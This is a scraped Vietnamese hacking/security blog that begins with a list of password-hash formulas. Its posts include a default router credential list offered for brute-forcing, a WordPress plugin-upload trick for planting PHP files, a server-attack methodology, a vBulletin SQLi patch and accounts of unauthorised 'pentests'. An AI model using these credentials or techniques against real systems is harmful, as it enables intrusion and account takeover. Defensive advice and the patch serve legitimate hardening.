sha1($salt.sha1($salt.sha1($pass)))
sha1($username.$pass)
sha1($username.$pass.$salt)
sha1($username.$pass.$salt.$username)
sha1($username.$salt.$pass)
sha1($username.0x3A.$pass)
sha1('--'.$salt.'--'.$pass.'--')
sha1('--'.$salt.'--'.$pass.'--'.$username)
sha1(md5($pass))
sha1(md5($pass).$pass)
sha1(md5($pass).$salt)
sha1(md5($pass).$username.$salt)
sha1(md5($pass.$salt))
sha1(md5($pass.$username))
sha1(md5($salt).$pass.sha1($salt))
sha1(md5($salt).$pass.sha1($salt).$username)
sha1(md5(md5($pass)))
sha1(md5(sha1($pass)))
sha1(md5(sha1(md5($pass))))
sha1(sha1($pass))
sha1(sha1($pass).$salt)
sha1(sha1($pass).substr($pass,0,3))
sha1(sha1($salt.$pass))
sha1(sha1($salt.$pass.$salt))
sha1(sha1(md5($pass)))
sha1(sha1(sha1($pass)))
sha1(sha256($pass))
sha1(strtolower($username).$pass)
sha1(strtoupper($username).0x3A.$pass)
sha1(strtoupper($username).0x3A.strtoupper($pass))
sha224($pass.$salt)
sha224($salt.$pass)
sha256($pass.$salt)
sha256($pass.0x5F.strtolower($username))
sha256($salt.$pass)
sha256($salt.sha1($pass))
sha256($salt.sha256($pass))
sha256($salt.strtoupper(sha1($pass)))
sha256(base64_encode(md5($pass)))
sha256(base64_encode(sha1($pass)))
sha256(hex2bin(sha256($pass)))
sha256(md5($pass))
sha256(md5($pass).$pass)
sha256(md5($pass).$salt)
sha256(md5($pass.$salt))
sha256(md5($salt.$pass))
sha256(sha1($pass))
sha256(sha1($pass).$salt)
sha256(sha256($pass))
sha256(sha256($pass).$salt)
sha256(sha256($salt.$pass).$pass)
sha256(strtoupper($username).0x3A.$pass)
sha384($pass.$salt)
sha384($salt.$pass)
sha512($pass.$salt)
sha512($salt.$pass)
sha512($salt.md5($pass))
sha512(md5($pass))
sha512(md5($pass).$salt)
sha512(md5(md5($pass)))
Skein-1024(384)
Skein-1024(512)
Skein-1024
Skein-256(128)
Skein-256(160)
Skein-256(224)
Skein-256
Skein-512(128)
Skein-512(160)
Skein-512(224)
Skein-512(256)
Skein-512(384)
Skein-512
Snefru-128(HMAC1)
Snefru-128(HMAC2)
Snefru-128
Snefru-256(HMAC1)
Snefru-256(HMAC2)
Snefru-256
SSE2
SSHA-1
SSHA-256
SSHA-384
SSHA-512
Streebog-256
Streebog-512
strrev(md5($pass))
strrev(md5(strrev(md5($pass))))
substr(md5($pass),0,10)
substr(md5($pass),0,16)
substr(md5($pass),0,20)
substr(md5($pass),0,30)
substr(md5($pass),0,8)
substr(md5($pass),0,8).substr(md5($pass),27,5)
substr(md5($pass),1,26)
substr(md5($pass),12,20)
substr(md5($pass),16,16)
substr(md5($pass),8,16)
substr(md5(md5($pass)),0,16)
substr(md5(md5($pass.$salt)),0,8)
substr(sha1($pass),0,16)
substr(sha1($pass),0,30)
substr(sha1($pass),0,32)
substr(sha1($pass),0,38)
substr(sha1($pass),0,8)
substr(sha1(md5($pass)),0,32)
substr(sha256($pass),0,16)
substr(sha256($pass),0,32)
substr(sha256($pass),0,40)
Sybase ASE
Tiger-128(HMAC1)
Tiger-128(HMAC2)
Tiger-128
Tiger-160(HMAC1)
Tiger-160(HMAC2)
Tiger-160
Tiger-192(HMAC1)
Tiger-192(HMAC2)
Tiger-192
Ventrilo
WBB4
Whirlpool($pass.$salt)
Whirlpool($salt.$pass)
Whirlpool(HMAC1)
Whirlpool(HMAC2)
Whirlpool



Concobe



Danh sách username, password mặc định của modem, router

Tôi có dịp vọc vẹo khi scan port nguyên dãy IP ở VN để kiểm thử nên cũng tổng hợp thêm một số thông tin đăng nhập mặc định vào modem, router phổ biến để bạn nào có nhu cầu thì có cái để sử dụng.

Tôi chỉ cung cấp combo user-pass chứ không cung cấp chi tiết thông tin đó dùng cho modem, router của hãng nào, dòng nào để giảm thiểu thiệt hại do những bạn thích phá phách gây ra.

Mục đích sử dụng có thể dùng để brute force thông tin đăng nhập với combo này thì tỉ lệ thành công cũng nằm ở mức khá-tốt :D còn làm gì tiếp theo thì ... tùy vào đạo đức của mỗi người.

Danh sách username, password mặc định của modem, router phổ biến.

root:
admin:
root:xc3511
root:vizxv
root:admin
admin:admin
root:888888
root:xmhdipc
root:default
root:juantech
root:123456
root:54321
support:support
admin:password
admin:vertex25
root:root
root:12345
user:user
root:pass
admin:admin1234
root:1111
admin:smcadmin
admin:1111
root:666666
root:password
root:1234
root:klv123
Administrator:admin
service:service
supervisor:supervisor
guest:guest
guest:12345
guest:12345
admin1::password
administrator:1234
666666::666666
888888::888888
ubnt:ubnt
root:klv1234
root:Zte521
root:hi3518
root:jvbzd
root:anko
root:zlxx.
root:7ujMko0vizxv
root:7ujMko0admin
root:system
root:ikwb
root:dreambox
root:user
root:realtek
root:00000000
admin:1111111
admin:1234
admin:12345
admin:54321
admin:123456
admin:7ujMko0admin
admin:1234
admin:pass
admin:meinsm
tech:tech
mother:fucker

Concobe

Thứ Ba, 15 tháng 11, 2016

Fix bug exploit vBulletin 4.2.3 SQL Injection

Exploit này dù đã được public từ rất lâu rồi (năm 2015), nó cũng được fix ở các version mới hơn nhưng sau hơn một năm thì ở VN vẫn còn rất nhiều admin sử dụng những version cũ và điều này lại càng nguy hiểm hơn khi một số trang web public exploit của nước ngoài lại repost exploit này lên.

Năm ngoái mình có report khá nhiều cho các admin các forum để họ fix rồi. Và vừa rồi mình cũng thử check sơ qua và thấy hiện tại vẫn có rất rất nhiều những hệ thống lớn sài mã nguồn Vbulletin có số lượng thành viên trên 100.000 thậm chí ở hàng triệu thành viên vẫn tồn tại lỗ hổng nguy hiểm này, nên mình có nhờ một người bạn để public cách fix bug cho những admin nào không muốn nâng cấp lên các version mới vì lý do nào đó.

##################################################################################################
#Exploit Title : vBulletin <= 4.2.3 SQL Injection (CVE-2016-6195)
#Author        : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date          : 25/08/2015
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At  : Indishell Lab(originally developed by Dantalion)
##################################################################################################
 
 
////////////////////////
/// Overview:
////////////////////////
  
VBulletin version 3.6.0 through 4.2.3 are vulnerable to SQL injection vulnerability in vBulletin core forumrunner addon.
Vulnerability was analized and documented by Dantalion (https://enumerated.wordpress.com/2016/07/11/1/)
so credit goes to Dantalion only :)

Cách Fix:

Vào file /forumrunner/request.php tìm dòng có nội dung: define('BYPASS_AEO', true); và thêm vào đoạn mã fix như bên dưới:

define('BYPASS_AEO', true);
if(isset($_REQUEST['postids']))
{
  $postids = explode(",",$_REQUEST['postids']);
  foreach($postids as $upostid)
  {
    if(!is_numeric($upostid))
    {
      die("Lam gi do co ich cho xa hoi di ban.");
    }
  }
}

Hãy fix trước khi quá muộn.

Concobe

Thứ Sáu, 14 tháng 10, 2016

Những phương thức tấn công một máy chủ.

Có rất nhiều hướng tấn công và cách thức sử dụng để tấn công một máy chủ, một victim nào đó ở đây tôi tóm tắt lại trong vài trường hợp phổ biến mà các hacker hay sử dụng trong quá trình tấn công với trường hợp cụ thể.

I. Máy chủ chỉ chạy những dịch vụ cơ bản và ít website.
II. Máy chủ là share host cài đặt nhiều dịch vụ và có khá nhiều website khác nhau.

Chúng ta sẽ đi chi tiết vào từng phần để hiểu rõ hơn về hướng tấn công trong mỗi trường hợp.

I. Máy chủ chỉ chạy những dịch vụ cơ bản và ít website.: Với trường hợp này thì sẽ tốn nhiều công sức và độ khó của việc tấn công sẽ tăng cao hơn và vẫn quan trọng nhất là quá trình thu thập thông tin của hệ thống.

1. Tìm địa chỉ IP của máy chủ, xác định máy chủ sài HĐH nào?
2. Tìm những lỗ hổng đã được public tương ứng với HĐH victim đang sử dụng để tấn công.
3. Tìm kiếm các Port của máy chủ đang open, và dựa vào đó xác định các dịch vụ server đang sử dụng để tìm thông tin lỗ hổng.
4. Tìm kiếm thông tin liên quan của chủ nhân máy chủ đó.
5. Tìm kiếm thông tin của người sở hữu website hay dịch vụ mà server đang sử dụng.
6. Tìm kiếm lỗ hổng của website hay dịch vụ đang sử dụng trên server với các lỗ hổng phổ biến.
7. Tổng hợp những thông tin các bạn đã có để tiến hành áp dụng vào thực tế của victim đang tấn công.

Với những thông tin các bạn đã có trong 7 bước trên, nếu các bạn nghiêm túc và thu thập tốt thì việc tấn công sẽ chỉ còn là vấn đề thời gian và tất nhiên tôi đảm bảo thời gian sẽ không dài để chiếm lấy victim này đâu.Ở đây đơn cử mục số 1,2 và 3 khi bạn có IP máy chủ, biết được máy chủ sài HĐH gì và port nào đang mở thì các bạn có thể tùy biến rất nhiều hướng tấn công tùy vào trường hợp cụ thể như :
- Sử dụng exploit của HĐH đang sử dụng để leo thang và chiếm quyền cách này hơi phức tạp nhưng nếu thành công các bạn sẽ chiếm được quyền cao nhất, ở VN thì việc update HĐH với tôi thì vẫn còn là điều xa xỉ nên các bạn cứ yên tâm theo cách này trước.
- Tổng hợp những thông tin thu thập 3,4,5 để tiến hành brute-force vào các dịch vụ trọng yếu như SSH, RDP, FTP, hay control panel site,...
- Nếu nghiêm túc và may mắn có thể chỉ cần đến bước này các bạn đã có thể chiếm được quyền để vào máy chủ victim rồi.

II. Máy chủ là share host cài đặt nhiều dịch vụ và có khá nhiều website khác nhau.

Với trường hợp này tôi vẫn tiếp tục quá trình như ở I với các bước 1,2,3,4,5,6,7 nếu vẫn chưa thể làm gì được thì tôi sẽ bắt đầu chuyển qua thu thập và tấn công trực diện các website đang có trên server để khai thác lỗ hổng, tôi quan niệm là không ai hoàn hảo cả chính vì thế nên khi server có càng nhiều website thì khả năng chiếm quyền sẽ cao lên rất nhiều vì sẽ có nhiều người mắc phải những lỗi cơ bản và ở đó tôi có thể tận dụng được.

6. Tìm kiếm lỗ hổng của website hay dịch vụ đang sử dụng trên server với các lỗ hổng phổ biến.

- Tôi chú trọng phần này vì chắc chắn rằng sẽ có site nào đó tồn tại những lỗ hổng phổ biến như SQLi, LFI, RCE,...hay đơn giản là sử dụng mật khẩu quá dễ cho quản trị để các bạn chiếm quyền, tôi khẳng định điều này vì trong suốt quá trình pentest bao năm qua tôi tổng hợp lại dựa vào kinh nghiệm thật.
- Khi các bạn chiếm được site con rồi thì bây giờ những thông tin về hệ thống từ mục 1,2,3,4,5 sẽ giúp các bạn leo thang để chiếm quyền cao nhất.
- Các bạn tham khảo thêm bài viết "Những sai lầm nguy hiểm của webmaster" trên blog của tôi để đẩy nhanh quá trình tấn công dựa vào những điểm yếu đó.

Kết luận: Dù bạn tấn công hay pentest thì tôi vẫn khuyên các bạn nên theo đúng chuẩn các quy trình tấn công của một giáo trình nào đó có tiếng như CEH,...Để đạt hiệu quả cao nhất.

Concobe

Thứ Bảy, 10 tháng 9, 2016

Những sai lầm nguy hiểm của webmaster

Bạn là webmaster? bạn đã làm những gì để bảo vệ đứa con tinh thần của mình? Sau đây tôi sẽ liệt kê những sai lầm mà các webmaster rất hay mắc phải dẫn đến việc hệ thống của các bạn bị tổn hại khi bị tấn công.
1. Sử dụng mật khẩu dễ cho người quản trị.
2. Sử dụng chung mật khẩu cho tất cả.
3. Sử dụng mã nguồn tổng hợp, dựng sẵn được chia sẻ rộng rãi trên mạng.
4. Sử dụng những công cụ sao lưu dữ liệu.
5. Để lại tập tin sao lưu mã nguồn.
6. Không thường xuyên update mã nguồn và hệ thống.
Còn rất nhiều nhưng tôi chỉ liệt kê những sai lầm mà tôi thấy có rất nhiều quản trị mắc phải trong suốt những năm mà tôi đi hack, đi kiểm thử, những sai lầm này thường dẫn đến những hậu quả mà không ai mong muốn và sau đây tôi sẽ đi vào chi tiết các mục đó.

1. Sử dụng mật khẩu dễ cho người quản trị.
Đây thật sự là vấn đề nhức nhối vì đã từ rất lâu rồi việc cảnh báo sử dụng mật khẩu yếu, mật khẩu dễ đoán cho người quản trị đã tràn ngập trên mạng, những vụ tấn công lớn cũng có nhiều vụ xuất phát từ việc quản trị sử dụng mật khẩu hớ hênh và bị khai thác.Với tôi thì đây là điều khó có thể chấp nhận với một người quản trị web mà họ quản lý, rất nhiều quản trị sử dụng mật khẩu 123456, admin, 12345678, 123456789,...Và nếu thật sự bạn đang sử dụng những mật khẩu dạng quá phổ biến như vậy thì hãy mau chóng đổi lại những mật khẩu đó theo chuẩn an toàn gồm ( ký tự chữ thường, ký tự viết hoa, ký tự số, ký tự đặc biệt, với độ dài ít nhất là 8 ký tự ).

2. Sử dụng chung mật khẩu cho tất cả.
Vấn đề này cũng tương đương với mục thứ nhất tôi đưa ra về mức độ nguy hiểm mà nó mang lại cho các quản trị, không ít bạn sử dụng một mật khẩu cho toàn bộ tài khoản của các bạn và sử dụng chúng một cách phổ biến, rộng rãi, nghĩa là chỗ nào các bạn cũng dùng mật khẩu đó cho tài khoản của các bạn.Và điều này sẽ đem lại sự dễ dãi, thoải mái cho những ai đang muốn triệt hạ bạn vì chỉ cần khai thác được một điểm yếu ở những nơi bạn có thông tin thì mọi thứ với bạn sẽ chấm hết.
Cách đây không lâu tôi có một người bạn trong lúc rảnh rỗi đã viết một cái công cụ nhỏ để kiểm thử những trang web của một cty thiết kế web có tiếng ở VN và sự thật không thể phũ phàng hơn khi cậu ấy tìm kiếm và lưu danh sách của những website thuộc cty đó và chạy công cụ đó với kết quả hơn 80% sử dụng chung username và password cho người quản trị cao nhất, thật tệ hại.
Nếu bạn đang có thói quen này, bạn nên chấm dứt nó ngay lập tức và tiến hành đổi mới mật khẩu của mình ở những tài khoản trọng yếu (mail, ngân hàng,...) để không gặp sự cố đáng tiếc xảy ra.

3. Sử dụng mã nguồn tổng hợp, dựng sẵn được chia sẻ rộng rãi trên mạng.
"Không ai cho không ai thứ gì"
Đây là câu nói từ ngàn xưa ông bà, cha mẹ chúng ta vẫn hay nhắc nhở nhưng đôi khi chỉ vì chút lười biếng và thói quen thích hàng làm sẵn mà các bạn nhắm mắt làm liều để rồi hệ thống bị tấn công ồ ạt và tan nát.Mã nguồn dựng sẵn (download về sửa vài thứ là có nguyên một trang web hoàn chỉnh sử dụng.) thường đi kèm với nhiều mối nguy hiểm, nhiều mã độc được đính kèm để tận dụng khi bạn sử dụng mã nguồn đó, rất nhiều bạn hay đi zip source của nạn nhân nào đó rồi về chia sẻ lên mạng kèm theo cả những thứ mà bạn không hề muốn, cuối cùng chỉ những người dễ dãi, sử dụng là sập bẫy và bị lợi dụng lại.
Hãy tự mình xây dựng cho mình một trang web, dù nó không được thẩm mỹ như những thứ bạn được share nhưng chí ít nó cũng an toàn với bạn ở mức độ nào đó.

4. Sử dụng những công cụ sao lưu dữ liệu.
Sai lầm này đôi khi chỉ là do ý thức của mỗi người vì sự tiện lợi nên các bạn hay sử dụng để sao lưu nhưng lại quên hay vô tình cố ý để lại, dẫn đến việc bị lộ cơ sở dữ liệu của trang web, hệ thống, tôi thấy có khá nhiều tình huống này trong quá trình tấn công.Một số công cụ mà các bạn hay sử dụng như mysqlDumper, phpMyAdmin, sypex, các công cụ backup mì ăn liền của VN.Một số công cụ có thể giúp các hacker truy cập thẳng vào CSDL mà các bạn đang sử dụng và toàn quyền quyết định nó (mysqldumper), một số thì bắt xác thực, nhưng vẫn tồn tại những nguy hiểm khi các bạn để nó trên hệ thống của các bạn.Và nếu kết hợp các công cụ sao lưu này với mục sai lầm số 5 thì chúng ta sẽ có được một sự kết hợp kinh hoàng.

5. Để lại tập tin sao lưu mã nguồn.
Đây cũng là những sai lầm rất phổ biến của các webmaster khi quản lý trang web của mình, vì một lý do nào đó các bạn sao lưu lại toàn bộ hệ thống và để luôn trên đó với toàn bộ thông tin nhạy cảm và ai cũng có thể download được thì thật là một điều kinh khủng, bạn đã tự mình phơi mình ra cho người khác hành xử tùy ý rồi.
Kết hợp những thông tin có được khi tải về và các công cụ đang có sẵn trên website của các bạn thì việc chiếm lấy quyền quản trị cao nhất cũng không còn là vấn đề to tát.

6. Không thường xuyên update mã nguồn và hệ thống.
Một trong những sai lầm rất phổ biến của người quản trị là họ rất ít update hệ thống đang chạy vì họ nghĩ nó vẫn còn tốt mà, update làm gì, chính vì tư tưởng này dẫn đến việc website họ quản lý tồn tại những lỗ hổng đã được công bố từ rất lâu và ai cũng có thể dễ dàng khai thác hệ thống của họ.Có khá nhiều trường đại học và các cơ quan vẫn đang sử dụng những công nghệ rất cũ (2009) tồn tại rất nhiều lỗ hổng nguy hiểm nhưng họ vẫn không cập nhật dù đã được thông báo, tôi đã không ít lần gởi những cảnh báo lỗ hổng đến những người quản trị và có một số hồi đáp cảm ơn nhưng một thời gian sau tôi quay lại thì hệ thống vẫn như cũ, chỉ rất ít quản trị tiến hành vá lỗi.Còn đa phần họ im lặng không hồi đáp.Và như thế khi hệ thống của họ bị những thành phần xấu tấn công thì hậu quả không thể nào đong đếm được.

Qua đó nếu bạn thấy mình mắc phải những điểm yếu ở trên thì hãy nhanh chóng cải thiện, để hệ thống được an toàn và không phải hối tiếc về sau.

Concobe

Trick bypass upload php trên mã nguồn wordpress

Vụ này tôi biết đến nó cũng vài năm về trước rồi, nhưng không hiểu sao các dev của wordpress lại không hạn chế hay có thêm ràng buộc nào để cải thiện đôi chút an toàn cho người dùng.Vốn dĩ khi đã vào được Dashboard thì mọi thứ coi như chấm dứt rồi nhưng cũng có lúc vì bị chặn mà không thể chỉnh sửa template hay upload plugin mới dạng .zip có kèm mã độc trong đó, và đây là cách giải quyết vấn đề.

Yêu cầu:
- Có tài khoản của quản trị và login vào Dashboard.

Thực hiện:
- Vào link sau để thấy form upload: /wp-admin/plugin-install.php?tab=upload
- Chọn và upload file.php bất kỳ như lúc upload plugin.zip.
- Bỏ qua các thông báo lỗi.
- Tìm link file mới upload lên: /wp-content/uploads/Year/Month/file.php
- Vd: /wp-content/uploads/2016/09/file.php

Kết thúc.

Concobe

Thứ Sáu, 2 tháng 9, 2016

Những cuộc pentest âm thầm.

Tôi thường online trong các group của những bạn cùng chung chí hướng, đam mê bảo mật, thích hacking, thích phá phách và thích show off, cũng không ít lần tôi gặp những comment đại loại như:
"trẻ trâu, trò mèo, bug cái lolz gì,... ngon hack site tao đi, server tao nè hack dùm cái đi, bla bla bla,...".Với những trường hợp như vầy thường thì tôi bỏ qua không quan tâm vì đôi khi họ quá tự tin, hay chỉ vì một chút bốc đồng rồi nói thế, cũng có người có chút ít kiến thức và lên mặt, mọi thứ đều không đáng để tâm.Nhưng ai đó lặp lại vài lần lời thách thức thì tôi cũng có chút lưu ý, note lại và lúc rảnh rỗi tôi sẽ "liếc qua" chút xíu.

Thường thì theo kinh nghiệm của tôi đa số những người nói câu đó đều "nguy hiểm" và hệ thống của họ thường lại mắc những lỗi vô cùng phổ biến và có độ nguy hiểm rất cao, vì những sysadmin hay chuyên gia bảo mật họ rất điềm đạm, không khoe mẽ và chăm chút cho hệ thông họ quản lý hàng ngày. Đơn cử khoảng đầu và trung tuần tháng 8/2016 tôi có gặp hai hệ thống dạng đó.Họ rất tự tin về hệ thống mà họ xây dựng từ code đến server và đây là những lỗi mà tôi đã pentest rồi phát hiện và thực hiện chiếm quyền lên mức cao nhất có thể.

I. Hệ thống thứ nhất: Đây là một công ty dạy bảo mật và dưới đây là những lỗ hổng mà họ mắc phải:
- Hệ thống sài mã nguồn wordpress với nhiều trang web đã từ lâu không update core, plugin, và theme.
- Nhiều trang web tồn tại những lỗ hổng nguy hiểm cao, SQLi, RCE, LFI...
- Sài chung mật khẩu cho các tài khoản ở nhiều nơi.
- Sử dụng mật khẩu với độ phức tạp không cao, dễ đoán.
- Gần như không áp dụng biện pháp bảo vệ nào để bảo vệ hệ thống khi họ là những người đi dạy bảo mật cho người khác.

Kết luận I: Với hệ thống thứ nhất này, tôi tốn khoảng gần hai giờ đồng hồ từ khi bắt đầu thu thập thông tin và pentest với những lỗ hổng và thông tin có được ở trên thì tôi đã nắm được gần như hết những gì mà công ty đó đang triển khai và sử dụng gồm bao gồm cả những thông tin như
tài khoản login các trang web, email, thông tin để quản lý domain, host,...Cuối cùng kết thúc quá trình kiểm thử tôi gởi toàn bộ thông tin và quá trình tôi đã kiểm thử qua cho người đang quản lý hệ thống đó, rất may mắn là họ chú trọng và hồi âm rất sớm đồng thời tiến hành vá những lỗ hổng mà tôi đã cung cấp cho họ.

II. Hệ thống thứ hai: Đây là một lập trình viên, cũng có nhiều thành quả với nhiều website và hệ thống đang quản lý.
- Hệ thống sài mã nguồn tự code nên có những lỗ hổng khá phổ biến như XSS, SQLi, FPD.
- Lỗ hổng thiếu ràng buộc khi kiểm tra và sàng lọc file trước khi upload lên hệ thống (tôi dùng để bypass để tải lên thành công mã độc).
- Như một thói quen admin hệ thống này sài chung mật khẩu cho tất cả các site.
- Sử dụng mật khẩu quá phổ biến và dễ đoán (a123456, 123456), khá bất ngờ khi phát hiện điều này.
- Sử dụng các script hỗ trợ cài đặt, tùy chỉnh và quản lý server phổ biến VPSSIM với nhiều điểm hở mà tôi đã có bài viết trên blog.

Kết luận II: Khác với hệ thống thứ nhất thì ở hệ thống thứ hai này tôi đối mặt với toàn bộ mã nguồn và hệ thống đều do một người xây dựng và quản lý, dẫu nghĩ rằng sẽ gặp khó khăn nhưng với những lỗi mắc phải cơ bản ở trên nên tôi đã rút ngắn được quá trình kiểm thử và có được những thông tin cao nhất mà họ có.Vẫn như một thói quen, tôi inbox gởi thông tin lỗi và gợi ý cách fix, lần này tôi tiếp tục gặp may mắn khi người quản trị hồi âm và trao đổi với tôi.

Lời kết: Dù bạn là ai, hãy sống trầm lặng và khiêm nhường thêm chút nữa vì đôi khi sự may mắn không mỉm cười với bạn và hệ thống các bạn sẽ gặp nhiều tổn hại, ảnh hưởng đến kinh tế và uy tín lúc đó rất khó khăn cho bạn.

Concobe

Chủ Nhật, 28 tháng 8, 2016

Thuật toán mã hóa của các mã nguồn phổ biến

Khi bạn kiểm thử hay tấn công một website nào đó thì sẽ có lúc các bạn phải tìm cách giải mã những mật khẩu đã được mã hóa trên đó, và lúc này chúng ta phải biết được chính xác thuật toán mã hóa mà đối tượng đang sử dụng là gì thì mới có thể tiến hành các bước để giải mã hoặc brute-force nhằm đạt được kết quả là bản rõ của mật khẩu đó (plain text).Trong bài viết này tôi sẽ cung cấp một số thuật toán mã hóa của các mã nguồn web đang được sử dụng phổ biến hiện nay ở mức ngắn gọn nhất có thể, nếu có thời gian tôi sẽ viết thêm chi tiết thuật toán của từng mã nguồn đang sử dụng bao gồm (tập tin chứa thuật toán, các dòng mã,...).


1. Thuật toán mã hóa mật khẩu của mã nguồn Vbulletin.
Mã nguồn này có nhiều version và ở mỗi giai đoạn sẽ có thuật toán khác nhau.
- vBulletin < 5.x dùng thuật toán: md5(md5($pass).$salt)
- vBulletin > 5.x dùng thuật toán Bcrypt : $hash = password_hash($password, PASSWORD_BCRYPT); (1)

2. Thuật toán mã hóa mật khẩu của mã nguồn Xenforo.
Cũng tương tư như Vbulletin thì Xenforo cũng có hai giai đoạn nâng cấp và thay đổi thuật toán mã hóa khác nhau, ở giai đoạn một thì quản trị sẽ tùy chọn một trong hai thuật toán là Sha1 hoặc Sha256 hoặc để mặc định là sha1.Các version hiện nay và có lẽ sau này thì xenforo sẽ dùng thuật toán mã hóa Blowfish vì nó an toàn trong thời điểm hiện tại.Để rõ hơn cách mã hóa các bạn vui lòng xem nội dung file /library/XenForo/PasswordHash.php.
Giai đoạn 1: sha1(sha1($password).$salt) hoặc sha256(sha256($password).$salt)
Giai đoạn 2: Blowfish(OpenBSD) (2)

3. Thuật toán mã hóa mật khẩu của mã nguồn MyBB v1.2+ và IPBoard v2+.
Hai mã nguồn MyBB và IPBoard có sự tương đồng trong việc mã hóa thuật toán giống nhau nên mình gộp lại chung cho dễ theo dõi.
MyBB: $hashedpsw = md5(md5($salt).md5($plainpassword));
MyBB v1.2+ và IPBoard v2+ : md5(md5($salt).md5($pass));

4. Thuật toán mã hóa mật khẩu của mã nguồn phpBB.
Các version hiện tại của phpBB đã chuyển hết qua dùng thuật toán bcrypt thuần, các bạn có thể theo dõi nội dung code ở file /includes/ucp/ucp_register.php để nắm chi tiết hơn.

5. Thuật toán mã hóa mật khẩu của mã nguồn Joomla.

Joomla cũng có sự điều chỉnh thuật toán mã hóa khá nhiều lần ở các bản nâng cấp điều này chứng tỏ nhà phát triển Joomla chú trọng vấn đề bảo mật thông tin người dùng tốt và dưới đây là các thuật toán cho từng giai đoạn:
- Version 1.5 và 1.7 hoặc cũ hơn dùng : md5($password.$salt) xem chi tiết trong file /authentication/joomla.php
- Version > 1.7 < 3.x : dùng phpass các bạn xem chi tiết trong file /libraries/phpass/PasswordHash.php  (3)
- Version > 3.x hiện nay chuyển qua dùng hoàn toàn là BCrypt  (1)

6. Thuật toán mã hóa mật khẩu của mã nguồn Wordpress.
Nội dung của thuật toán mã hóa mà wordpress sử dụng nằm trong file wp-includes/class-phpass.php (xem online: https://github.com/WordPress/WordPress/blob/master/wp-includes/class-phpass.php)
- Các version wordpress đều dùng thuật toán mã hóa dựa trên thuật toán phpass (3) 


...

Tham khảo:
(1) : tham khảo thêm về thuật toán bcrypt: https://en.wikipedia.org/wiki/Bcrypt
(2) : Blowfish(OpenBSD) : https://en.wikipedia.org/wiki/Blowfish_(cipher) và https://en.wikipedia.org/wiki/OpenBSD
(3) : tham khảo thêm về thuật toán phpass: http://www.openwall.com/phpass/

Concobe

Cyberpanel và những lỗ hổng bảo mật đã fix.

Tầm đầu tháng 1/2019 mình thấy đi group nào chuyên về thiết kế website, bán hosting,...Của facebook cũng có những comment khuyên nhau sử dụn...